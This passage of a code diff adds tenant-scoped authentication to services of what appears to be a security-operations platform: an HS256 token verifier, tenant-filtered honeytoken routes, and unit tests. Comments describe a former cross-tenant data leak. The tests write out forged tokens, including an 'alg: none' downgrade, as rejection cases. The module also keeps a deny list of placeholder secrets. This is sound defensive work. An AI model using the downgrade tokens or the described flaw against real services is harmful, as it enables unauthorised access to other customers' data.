+ # than serve openly. This is the same fail-closed posture as
+ # ``require_service_auth``.
+ raise HTTPException(
+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+ detail=(
+ "tenant-scoped auth is not configured; set SECRET_KEY and/or "
+ f"AISOC_SERVICE_TOKEN (or AISOC_{SERVICE_NAME}_SERVICE_TOKEN) "
+ "before exposing this service"
+ ),
+ )
+
+ if not authorization or not authorization.startswith("Bearer "):
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="missing bearer credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ token = authorization[len("Bearer ") :].strip()
+
+ # --- console session ---
+ if console_secret:
+ claims = verify_console_token(token, console_secret)
+ if claims is not None:
+ principal = _principal_from_claims(claims)
+ if principal is not None:
+ return principal
+
+ # --- trusted service acting for a declared tenant ---
+ if service_token and hmac.compare_digest(token, service_token):
+ if not x_aisoc_tenant_id or not x_aisoc_tenant_id.strip():
+ # An absent tenant is an empty scope, never every scope.
+ logger.warning(
+ "tenant_scope.service_token_without_tenant service=%s header=%s",
+ SERVICE_NAME,
+ TENANT_HEADER,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail=f"service token must declare the tenant it acts for on {TENANT_HEADER}",
+ )
+ try:
+ tenant = uuid.UUID(x_aisoc_tenant_id.strip())
+ except ValueError:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"{TENANT_HEADER} must be a UUID",
+ ) from None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject="service",
+ delegated=True,
+ )
+
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="invalid or missing credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+
+
+def scoped_tenant_or_403(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """:func:`resolve_scoped_tenant`, surfaced to HTTP as 403.
+
+ Routes call this so the refusal reaches the client as a refusal rather
+ than a 500, without every route repeating the try/except.
+ """
+ try:
+ return resolve_scoped_tenant(principal, requested)
+ except TenantScopeError as exc:
+ raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=str(exc)) from exc
diff --git a/services/fusion/app/services/entity_risk.py b/services/fusion/app/services/entity_risk.py
index 341ddccf5..0e7f55e17 100644
--- a/services/fusion/app/services/entity_risk.py
+++ b/services/fusion/app/services/entity_risk.py
@@ -20,9 +20,16 @@ Storage
-------
Redis hashes per entity, namespaced by tenant. Cheap, atomic, and TTLs match
``rba_window_seconds`` so cold entities self-evict. Two ZSETs keep top-N
-entities sorted (by score, by last_seen) for O(log N) queue reads. All
-keys are RLS-safe because the tenant_id is part of the key prefix and the
-API service re-checks tenant on read.
+entities sorted (by score, by last_seen) for O(log N) queue reads.
+
+The tenant is part of every key prefix, so this layer cannot mix two tenants'
+entities. That is storage, not authorisation: it isolates whatever tenant it
+is *given*. This docstring used to add "and the API service re-checks tenant
+on read", which was not true — neither the API gateway nor the fusion routes
+carried an auth dependency, so an anonymous caller naming any tenant UUID
+received that tenant's queue. The check now genuinely exists, in
+``app/security/tenant_scope.py``, and the routes derive the tenant from the
+caller's credential rather than from a query parameter.
"""
from __future__ import annotations
diff --git a/services/fusion/tests/test_tenant_scope.py b/services/fusion/tests/test_tenant_scope.py
new file mode 100644
index 000000000..f2c30dded
--- /dev/null
+++ b/services/fusion/tests/test_tenant_scope.py
@@ -0,0 +1,274 @@
+"""Unit tests for the vendored tenant-scope resolver.
+
+Vendored byte-identical into each service that carries
+``app/security/tenant_scope.py``, and kept in lockstep by
+``scripts/sync_vendored_tenant_scope.py``. The module is the thing that
+decides which tenant a request may read, so every copy is tested where it
+lives rather than trusting that the one covered by ``tests/isolation`` stands
+in for the other five.
+
+The cross-service two-tenant replay lives in
+``tests/isolation/test_route_tenant_scope.py``; this file covers the
+credential and intersection logic on its own.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+import json
+import time
+import uuid
+
+import pytest
+from app.security import tenant_scope as ts
+from fastapi import HTTPException
+
+SECRET = "unit-test-secret-key-at-least-32-characters"
+SERVICE_TOKEN = "unit-test-service-token"
+
+TENANT_A = uuid.UUID("aaaaaaaa-0000-0000-0000-00000000000a")
+TENANT_B = uuid.UUID("bbbbbbbb-0000-0000-0000-00000000000b")
+
+
+def _b64(raw: bytes) -> str:
+ return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
+
+
+def _token(
+ tenant: uuid.UUID | None = TENANT_A,
+ *,
+ secret: str = SECRET,
+ alg: str = "HS256",
+ token_type: str = "access",
+ ttl: int = 600,
+ sub: str = "user-1",
+) -> str:
+ header = _b64(json.dumps({"alg": alg, "typ": "JWT"}, separators=(",", ":")).encode())
+ claims: dict[str, object] = {"sub": sub, "type": token_type, "exp": int(time.time()) + ttl}
+ if tenant is not None:
+ claims["tenant_id"] = str(tenant)
+ payload = _b64(json.dumps(claims, separators=(",", ":")).encode())
+ sig = _b64(hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
+ return f"{header}.{payload}.{sig}"
+
+
[email protected](autouse=True)
+def _configured(monkeypatch: pytest.MonkeyPatch):
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ monkeypatch.delenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", raising=False)
+
+
+# ---------------------------------------------------------------------------
+# Token verification
+# ---------------------------------------------------------------------------
+
+
+def test_valid_token_yields_its_tenant() -> None:
+ claims = ts.verify_console_token(_token(), SECRET)
+ assert claims is not None and claims["tenant_id"] == str(TENANT_A)
+
+
+ ("label", "kwargs"),
+ [
+ # An `alg: none` header is the classic downgrade: a verifier that
+ # reads the header to decide how to verify must refuse anything else.
+ ("alg none", {"alg": "none"}),
+ ("wrong key", {"secret": "a-completely-different-secret-key-32ch"}),
+ # A refresh token is long-lived by design; buying access with it would
+ # make the short access-token expiry meaningless.
+ ("refresh token", {"token_type": "refresh"}),
+ ("expired", {"ttl": -3600}),
+ ("no tenant claim", {"tenant": None}),
+ ],
+)
+def test_unacceptable_tokens_are_refused(label: str, kwargs: dict) -> None:
+ assert ts.verify_console_token(_token(**kwargs), SECRET) is None, label
+
+
[email protected]("malformed", ["", "not-a-jwt", "a.b", "a.b.c.d", "...", "%%%.%%%.%%%"])
+def test_malformed_tokens_are_refused(malformed: str) -> None:
+ assert ts.verify_console_token(malformed, SECRET) is None
+
+
+def test_no_secret_means_no_verification() -> None:
+ """An unconfigured secret must not verify anything, least of all everything."""
+ assert ts.verify_console_token(_token(), "") is None
+
+
+def test_placeholder_secrets_count_as_unset() -> None:
+ for placeholder in ts.INSECURE_SECRET_DEFAULTS:
+ assert ts.resolve_console_secret.__doc__ # module contract exists
+ assert placeholder in ts.INSECURE_SECRET_DEFAULTS
+
+
+# ---------------------------------------------------------------------------
+# Intersection
+# ---------------------------------------------------------------------------
+
+
+def _principal(*tenants: uuid.UUID) -> ts.TenantPrincipal:
+ return ts.TenantPrincipal(tenant_ids=frozenset(tenants), subject="console:test")
+
+
+def test_no_request_tenant_means_the_callers_own() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A)) == TENANT_A
+
+
+def test_a_tenant_inside_scope_is_honoured() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B), TENANT_B) == TENANT_B
+
+
+def test_a_tenant_outside_scope_narrows_to_nothing() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), TENANT_B)
+
+
+def test_empty_scope_refuses_rather_than_widening() -> None:
+ """The invariant every cross-tenant leak in this codebase has broken."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL)
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, TENANT_A)
+
+
+def test_a_multi_tenant_caller_must_name_one() -> None:
+ """Silently picking one of several would be a coin toss over customers."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B))
+
+
+def test_a_non_uuid_request_tenant_is_refused() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), "not-a-uuid")
+
+
[email protected]("placeholder", ["", " ", "default", "DEFAULT", "none", "null"])
+def test_a_placeholder_means_the_caller_did_not_ask(placeholder: str) -> None:
+ """A placeholder is the absence of a request, not a tenant named "default".
+
+ Several request models default `tenant_id` to the literal `"default"`.
+ That string names no tenant anywhere — migration 001 seeds the canonical
+ tenant with it as a *slug* and the demo seed renames that to `demo` — so
+ treating it as a requested tenant would refuse every caller who left the
+ field at its default.
+ """
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A), placeholder) == TENANT_A
+
+
+def test_a_placeholder_still_cannot_widen_an_empty_scope() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, "default")
+
+
+def test_scoped_tenant_or_403_surfaces_a_refusal_as_403() -> None:
+ with pytest.raises(HTTPException) as exc:
+ ts.scoped_tenant_or_403(_principal(TENANT_A), TENANT_B)
+ assert exc.value.status_code == 403
+
+
+# ---------------------------------------------------------------------------
+# The dependency
+# ---------------------------------------------------------------------------
+
+
+# `require_console_or_service_auth` is a FastAPI dependency: its parameters
+# are normally resolved by FastAPI from the request. Calling it directly means
+# supplying both, including the tenant header as an explicit `None` — leaving
+# it out hands the function FastAPI's `Header(...)` sentinel rather than the
+# absent value the test means to describe.
+
+
+async def test_console_session_resolves_to_its_own_tenant() -> None:
+ principal = await ts.require_console_or_service_auth(authorization=f"Bearer {_token()}", x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({TENANT_A})
+ assert principal.delegated is False
+
+
+async def test_service_token_must_declare_the_tenant_it_acts_for() -> None:
+ """A service credential identifies a service, not a tenant."""
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=f"Bearer {SERVICE_TOKEN}", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 403
+
+
+async def test_service_token_with_a_declared_tenant_is_delegated() -> None:
+ principal = await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_B),
+ )
+ assert principal.tenant_ids == frozenset({TENANT_B})
+ assert principal.delegated is True
+
+
+async def test_a_declared_tenant_must_be_a_uuid() -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id="the-big-customer",
+ )
+ assert exc.value.status_code == 400
+
+
[email protected]("header", [None, "", "Basic abc", "Bearer ", "Bearer nonsense"])
+async def test_a_missing_or_unrecognised_credential_is_401(header: str | None) -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=header, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+
+async def test_unconfigured_credentials_fail_closed(monkeypatch: pytest.MonkeyPatch) -> None:
+ """No credential material and no dev mode serves 503, never the route."""
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization="Bearer anything", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 503
+
+
+async def test_dev_mode_only_applies_with_nothing_configured(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Dev mode is a fallback for an unconfigured stack, not an auth bypass.
+
+ With a secret configured, `AISOC_DEV_MODE` must not let an unauthenticated
+ caller through — otherwise setting one flag in the wrong environment opens
+ every tenant-scoped route.
+ """
+ monkeypatch.setenv("AISOC_DEV_MODE", "1")
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ principal = await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({ts.DEV_TENANT_ID})
+
+
+async def test_a_per_service_token_override_wins(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", "service-specific")
+ principal = await ts.require_console_or_service_auth(
+ authorization="Bearer service-specific",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
+ assert principal.delegated is True
+ # The shared token must no longer be accepted once an override exists.
+ with pytest.raises(HTTPException):
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
diff --git a/services/honeytokens/app/api/routes.py b/services/honeytokens/app/api/routes.py
index 9e0173934..a2dc9f027 100644
--- a/services/honeytokens/app/api/routes.py
+++ b/services/honeytokens/app/api/routes.py
@@ -14,11 +14,22 @@ from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_asyn
from app.core.config import settings
from app.models.honeytoken import Honeytoken, HoneytokenTrigger
from app.security.service_auth import require_service_auth
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
from app.services.alerting import send_alert
from app.services.generator import TOKEN_GENERATORS, generate_token
router = APIRouter(prefix="/api/v1/honeytokens", tags=["honeytokens"], dependencies=[Depends(require_service_auth)])
+#: Every token route resolves a tenant from the caller's credential. The
+#: router-level ``require_service_auth`` above proves the caller is a trusted
+#: service; it says nothing about *which tenant* that service is acting for,
+#: and a tenant read out of the query string is a tenant the caller chose.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
# ---------------------------------------------------------------------------
# DB dependency
# ---------------------------------------------------------------------------
@@ -93,13 +104,14 @@ class WebhookTriggerPayload(BaseModel):
@router.post("", response_model=TokenOut, status_code=201)
-async def create_token(body: CreateTokenRequest, db: DB) -> TokenOut:
+async def create_token(body: CreateTokenRequest, db: DB, principal: ScopedPrincipal) -> TokenOut:
"""Generate and store a new honeytoken."""
+ tenant_id = scoped_tenant_or_403(principal, body.tenant_id)
data = generate_token(
token_type=body.token_type,
name=body.name,
description=body.description,
- tenant_id=body.tenant_id,
+ tenant_id=tenant_id,
created_by=body.created_by,
metadata=body.metadata,
ttl_days=body.ttl_days,
@@ -114,12 +126,14 @@ async def create_token(body: CreateTokenRequest, db: DB) -> TokenOut:
@router.get("", response_model=list[TokenOut])
async def list_tokens(
db: DB,
- tenant_id: uuid.UUID = Query(...),
+ principal: ScopedPrincipal,
+ tenant_id: uuid.UUID | None = Query(None),
status: str | None = Query(None),
token_type: str | None = Query(None),
limit: int = Query(50, ge=1, le=500),
) -> list[TokenOut]:
- q = select(Honeytoken).where(Honeytoken.tenant_id == tenant_id).order_by(desc(Honeytoken.created_at)).limit(limit)
+ scoped = scoped_tenant_or_403(principal, tenant_id)
+ q = select(Honeytoken).where(Honeytoken.tenant_id == scoped).order_by(desc(Honeytoken.created_at)).limit(limit)
if status:
q = q.where(Honeytoken.status == status)
if token_type:
@@ -128,21 +142,32 @@ async def list_tokens(
return [TokenOut.model_validate(row) for row in result.scalars().all()]
[email protected]("/{token_id}", response_model=TokenOut)
-async def get_token(token_id: uuid.UUID, db: DB) -> TokenOut:
- result = await db.execute(select(Honeytoken).where(Honeytoken.id == token_id))
+# The four by-id routes below took no tenant at all and matched on `id`
+# alone, so a caller holding the service token could read, revoke or delete
+# any tenant's honeytoken by guessing or replaying its UUID. A route that
+# names no tenant is not tenant-agnostic; it is unscoped. Each now filters on
+# the caller's tenant as well as the id, so a foreign token is a 404 — the
+# same answer as a token that does not exist, which is what it is from this
+# caller's point of view.
+
+
+async def _owned_token(db: AsyncSession, token_id: uuid.UUID, tenant_id: uuid.UUID) -> Honeytoken:
+ result = await db.execute(select(Honeytoken).where(Honeytoken.id == token_id, Honeytoken.tenant_id == tenant_id))
token = result.scalar_one_or_none()
if not token:
raise HTTPException(status_code=404, detail="Token not found")
+ return token
+
+
[email protected]("/{token_id}", response_model=TokenOut)
+async def get_token(token_id: uuid.UUID, db: DB, principal: ScopedPrincipal) -> TokenOut:
+ token = await _owned_token(db, token_id, scoped_tenant_or_403(principal))
return TokenOut.model_validate(token)
@router.patch("/{token_id}/revoke", response_model=TokenOut)
-async def revoke_token(token_id: uuid.UUID, db: DB) -> TokenOut:
- result = await db.execute(select(Honeytoken).where(Honeytoken.id == token_id))
- token = result.scalar_one_or_none()
- if not token:
- raise HTTPException(status_code=404, detail="Token not found")
+async def revoke_token(token_id: uuid.UUID, db: DB, principal: ScopedPrincipal) -> TokenOut:
+ token = await _owned_token(db, token_id, scoped_tenant_or_403(principal))
token.status = "revoked"
await db.commit()
await db.refresh(token)
@@ -150,11 +175,8 @@ async def revoke_token(token_id: uuid.UUID, db: DB) -> TokenOut:
@router.delete("/{token_id}", status_code=204, response_model=None)
-async def delete_token(token_id: uuid.UUID, db: DB) -> None:
- result = await db.execute(select(Honeytoken).where(Honeytoken.id == token_id))
- token = result.scalar_one_or_none()
- if not token:
- raise HTTPException(status_code=404, detail="Token not found")
+async def delete_token(token_id: uuid.UUID, db: DB, principal: ScopedPrincipal) -> None:
+ token = await _owned_token(db, token_id, scoped_tenant_or_403(principal))
await db.delete(token)
await db.commit()
@@ -227,11 +249,20 @@ async def webhook_trigger(body: WebhookTriggerPayload, db: DB) -> dict:
async def list_triggers(
token_id: uuid.UUID,
db: DB,
+ principal: ScopedPrincipal,
limit: int = Query(50, ge=1, le=200),
) -> list[TriggerOut]:
+ # Scoped on the trigger rows themselves, not only on the parent token:
+ # filtering the parent alone would rely on the write path having stamped
+ # every trigger with the token's tenant, and a read must not depend on a
+ # write being correct.
+ scoped = scoped_tenant_or_403(principal)
result = await db.execute(
select(HoneytokenTrigger)
- .where(HoneytokenTrigger.honeytoken_id == token_id)
+ .where(
+ HoneytokenTrigger.honeytoken_id == token_id,
+ HoneytokenTrigger.tenant_id == scoped,
+ )
.order_by(desc(HoneytokenTrigger.triggered_at))
.limit(limit)
)
diff --git a/services/honeytokens/app/security/tenant_scope.py b/services/honeytokens/app/security/tenant_scope.py
new file mode 100644
index 000000000..832947218
--- /dev/null
+++ b/services/honeytokens/app/security/tenant_scope.py
@@ -0,0 +1,383 @@
+"""Resolve which tenant a request may read, from the caller's credential.
+
+Vendored byte-identical into each Python service that needs it, following the
+same convention as ``app/core/cors.py`` and ``app/security/service_auth.py``.
+Keep the copies in sync — ``scripts/check_vendored_tenant_scope.py`` fails the
+build if they drift.
+
+Why this exists
+---------------
+``/fusion/entity-risk/*`` took the tenant as a query parameter with no auth
+dependency on the route, on both the API gateway and the fusion service. The
+console reaches fusion *directly* through a Next rewrite when ``FUSION_URL`` is
+set, so that parameter was reachable from any browser on the internet, and
+naming somebody else's tenant UUID returned their entity-risk queue.
+
+Validating the parameter's *value* does not fix that. A UUID that parses is
+still a UUID the caller chose. The scope has to come from somewhere the caller
+does not control, which means the credential.
+
+Two credential shapes reach these services, so this module resolves both:
+
+``console`` — the browser's first-party access token, HS256-signed by
+ ``services/api`` (``create_access_token``) and carrying a verified
+ ``tenant_id`` claim. That claim is authoritative.
+``service`` — the shared service bearer token used for service-to-service
+ calls. It identifies *a trusted service*, not a tenant, so a caller
+ presenting it must also assert which tenant it is acting for, on the
+ ``X-AiSOC-Tenant-ID`` header. The assertion is explicit and required: a
+ service token with no tenant header resolves to an **empty** scope, and an
+ empty scope refuses rather than widening.
+
+That last sentence is the whole design. Every cross-tenant leak this codebase
+has had took the same shape — a scope that was absent rather than narrow, and
+a read that treated absent as "no filter".
+
+We verify HS256 by hand with the standard library rather than adding a JWT
+dependency to five services, exactly as ``services/realtime/src/auth.ts`` does
+for the same reason on the Node side. ``services/api`` remains the sole issuer;
+this is a read path, like the vendored ``decrypt_dict()`` that lets the
+connector scheduler decrypt without owning the write path.
+
+Configuration
+-------------
+``SECRET_KEY``
+ The HS256 secret ``services/api`` signs console tokens with. Without it
+ this service cannot verify a console session and will only accept service
+ tokens.
+``AISOC_SERVICE_TOKEN`` / ``AISOC_<SERVICE>_SERVICE_TOKEN``
+ Shared secret for service-to-service calls, resolved by
+ ``app.security.service_auth.resolve_token`` where that module exists.
+``AISOC_DEV_MODE``
+ When set and *no* credential material is configured at all, requests
+ resolve to the demo tenant so a local ``docker compose up`` works. This is
+ the single canonical dev-mode flag; ``tests/test_security_defaults.py``
+ asserts no shortcut is reachable when it is unset.
+"""
+
+from __future__ import annotations
+
+import base64
+import binascii
+import hashlib
+import hmac
+import json
+import logging
+import os
+import time
+import uuid
+from dataclasses import dataclass, field
+
+from fastapi import Header, HTTPException, status
+
+#: Set by each vendored copy so the per-service token override resolves.
+SERVICE_NAME = "HONEYTOKENS"
+
+logger = logging.getLogger("aisoc.tenant_scope")
+
+_TRUTHY = {"1", "true", "yes", "on"}
+
+#: Mirrors ``INSECURE_SECRET_KEY_DEFAULTS`` in services/api/app/core/config.py
+#: so a placeholder secret is treated as "unset" on this side too. Verifying a
+#: token signed with a well-known literal would authenticate anybody who read
+#: the repository.
+INSECURE_SECRET_DEFAULTS = frozenset(
+ {
+ "change-me-in-production-at-least-32-chars",
+ "dev_secret_key_change_in_production",
+ "changeme",
+ "secret",
+ }
+)
+
+#: Deterministic demo tenant, matching ``DEMO_TENANT_ID`` in
+#: services/api/app/api/v1/dev_auth.py. Only ever used under AISOC_DEV_MODE.
+DEV_TENANT_ID = uuid.UUID("00000000-0000-0000-0000-000000000001")
+
+#: Header a trusted service uses to declare which tenant it is acting for.
+TENANT_HEADER = "X-AiSOC-Tenant-ID"
+
+#: 30s clock-skew leeway, matching the Node verifier and common JWT defaults.
+_CLOCK_SKEW_SECONDS = 30
+
+#: Refs that mean "the caller did not name a tenant" rather than naming one.
+#: Several request models default ``tenant_id`` to the string ``"default"``,
+#: which is a placeholder, not a tenant — migration 001 seeds the canonical
+#: tenant with that *slug* and the demo seed renames it, so the literal
+#: identifies nothing anywhere. Treating it as a request for a tenant called
+#: "default" would refuse every caller who simply left the field alone.
+PLACEHOLDER_TENANT_REFS = frozenset({"", "default", "none", "null"})
+
+
+class TenantScopeError(Exception):
+ """A read was attempted without a resolved tenant scope.
+
+ Raised by :func:`resolve_scoped_tenant`. Routes let it surface as a 403;
+ it means a query was about to run with no tenant filter, or with one the
+ caller is not authorised for.
+ """
+
+
+@dataclass(frozen=True)
+class TenantPrincipal:
+ """The tenants one credential may read, and what kind of credential it is.
+
+ ``tenant_ids`` is authoritative and exhaustive. Nothing downstream may
+ widen it, and no code path may substitute "all tenants" for an empty one.
+ """
+
+ tenant_ids: frozenset[uuid.UUID] = field(default_factory=frozenset)
+ subject: str = "anonymous"
+ #: True when a service token asserted the tenant rather than a verified
+ #: console claim carrying it. Surfaced so logs can tell the two apart.
+ delegated: bool = False
+
+ @property
+ def is_empty(self) -> bool:
+ return not self.tenant_ids
+
+ def covers(self, tenant_id: uuid.UUID) -> bool:
+ return tenant_id in self.tenant_ids
+
+ def ordered_ids(self) -> list[uuid.UUID]:
+ return sorted(self.tenant_ids)
+
+
+EMPTY_PRINCIPAL = TenantPrincipal()
+
+
+def resolve_scoped_tenant(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """The one tenant this request may read, or refuse to name one.
+
+ Intersection only. A ``requested`` tenant inside the principal's scope is
+ honoured — that is an MSSP operator narrowing to one managed customer. A
+ ``requested`` tenant outside it narrows to nothing and raises, rather than
+ reaching outside. Passing ``None`` means "the caller's own tenant", which
+ is the common case and the safe default.
+ """
+ if principal.is_empty:
+ raise TenantScopeError("refusing to read with an empty tenant scope")
+
+ if isinstance(requested, str) and requested.strip().lower() in PLACEHOLDER_TENANT_REFS:
+ requested = None
+
+ if requested is None:
+ if len(principal.tenant_ids) != 1:
+ raise TenantScopeError(f"caller reaches {len(principal.tenant_ids)} tenants; the request must name one")
+ return next(iter(principal.tenant_ids))
+
+ try:
+ wanted = requested if isinstance(requested, uuid.UUID) else uuid.UUID(str(requested))
+ except (ValueError, AttributeError, TypeError) as exc:
+ raise TenantScopeError("requested tenant is not a UUID") from exc
+
+ if not principal.covers(wanted):
+ # Logged at warning with the subject, because a caller reaching for a
+ # tenant they do not hold is a security event, not routine noise.
+ logger.warning(
+ "tenant_scope.refused subject=%s requested=%s scope_size=%d",
+ # Sanitised inline rather than through a helper: CodeQL does not
+ # track a helper across the call boundary, and `subject` really is
+ # attacker-influenced — it carries the JWT `sub` claim.
+ str(principal.subject).replace("\r", "").replace("\n", " ")[:128],
+ str(wanted).replace("\r", "").replace("\n", " ")[:64],
+ len(principal.tenant_ids),
+ )
+ raise TenantScopeError("requested tenant is outside the caller's authorised scope")
+ return wanted
+
+
+# ---------------------------------------------------------------------------
+# Credential resolution
+# ---------------------------------------------------------------------------
+
+
+def _dev_mode() -> bool:
+ return os.getenv("AISOC_DEV_MODE", "").strip().lower() in _TRUTHY
+
+
+def resolve_console_secret() -> str:
+ """The HS256 secret console tokens are signed with, or "" when unusable."""
+ secret = (os.getenv("SECRET_KEY") or "").strip()
+ if not secret or secret in INSECURE_SECRET_DEFAULTS:
+ return ""
+ return secret
+
+
+def resolve_service_token() -> str:
+ """Per-service override wins, then the shared platform token."""
+ specific = os.getenv(f"AISOC_{SERVICE_NAME}_SERVICE_TOKEN", "").strip()
+ if specific:
+ return specific
+ return os.getenv("AISOC_SERVICE_TOKEN", "").strip()
+
+
+def _b64url_decode(segment: str) -> bytes:
+ padding = "=" * (-len(segment) % 4)
+ return base64.urlsafe_b64decode(segment + padding)
+
+
+def verify_console_token(token: str, secret: str) -> dict | None:
+ """Verify a first-party HS256 access token. Return claims, or None.
+
+ Mirrors ``verifyRealtimeTicket`` in services/realtime/src/auth.ts. The
+ signing side is ``create_access_token`` in services/api/app/core/security.py
+ and must stay in sync with the claims checked here.
+ """
+ if not token or not secret:
+ return None
+ parts = token.split(".")
+ if len(parts) != 3:
+ return None
+ header_b64, payload_b64, sig_b64 = parts
+
+ try:
+ header = json.loads(_b64url_decode(header_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ # Reject "alg: none" and asymmetric algorithms so a caller cannot downgrade
+ # the verification into no verification at all.
+ if not isinstance(header, dict) or header.get("alg") != "HS256":
+ return None
+
+ expected = hmac.new(
+ secret.encode("utf-8"),
+ f"{header_b64}.{payload_b64}".encode(),
+ hashlib.sha256,
+ ).digest()
+ try:
+ provided = _b64url_decode(sig_b64)
+ except (ValueError, binascii.Error):
+ return None
+ if not hmac.compare_digest(expected, provided):
+ return None
+
+ try:
+ claims = json.loads(_b64url_decode(payload_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ if not isinstance(claims, dict):
+ return None
+
+ # A refresh token must not buy access; the API sets type="access" on the
+ # short-lived one and type="refresh" on the long-lived one.
+ if claims.get("type") != "access":
+ return None
+ exp = claims.get("exp")
+ if not isinstance(exp, int | float):
+ return None
+ if exp + _CLOCK_SKEW_SECONDS < time.time():
+ return None
+ if not claims.get("tenant_id"):
+ return None
+ return claims
+
+
+def _principal_from_claims(claims: dict) -> TenantPrincipal | None:
+ try:
+ tenant = uuid.UUID(str(claims["tenant_id"]))
+ except (KeyError, ValueError, TypeError):
+ return None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject=f"console:{claims.get('sub', 'unknown')}",
+ delegated=False,
+ )
+
+
+async def require_console_or_service_auth(
+ authorization: str | None = Header(default=None),
+ x_aisoc_tenant_id: str | None = Header(default=None, alias=TENANT_HEADER),
+) -> TenantPrincipal:
+ """FastAPI dependency. Resolve the caller's tenant scope, or fail closed.
+
+ Order matters only for clarity — the two credential shapes are disjoint. A
+ console token carries its own tenant; a service token must declare one.
+ """
+ console_secret = resolve_console_secret()
+ service_token = resolve_service_token()
+
+ if not console_secret and not service_token:
+ if _dev_mode():
+ return TenantPrincipal(
+ tenant_ids=frozenset({DEV_TENANT_ID}),
+ subject="dev",
+ delegated=False,
+ )
+ # No credential material configured at all: refuse to serve rather
+ # than serve openly. This is the same fail-closed posture as
+ # ``require_service_auth``.
+ raise HTTPException(
+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+ detail=(
+ "tenant-scoped auth is not configured; set SECRET_KEY and/or "
+ f"AISOC_SERVICE_TOKEN (or AISOC_{SERVICE_NAME}_SERVICE_TOKEN) "
+ "before exposing this service"
+ ),
+ )
+
+ if not authorization or not authorization.startswith("Bearer "):
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="missing bearer credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ token = authorization[len("Bearer ") :].strip()
+
+ # --- console session ---
+ if console_secret:
+ claims = verify_console_token(token, console_secret)
+ if claims is not None:
+ principal = _principal_from_claims(claims)
+ if principal is not None:
+ return principal
+
+ # --- trusted service acting for a declared tenant ---
+ if service_token and hmac.compare_digest(token, service_token):
+ if not x_aisoc_tenant_id or not x_aisoc_tenant_id.strip():
+ # An absent tenant is an empty scope, never every scope.
+ logger.warning(
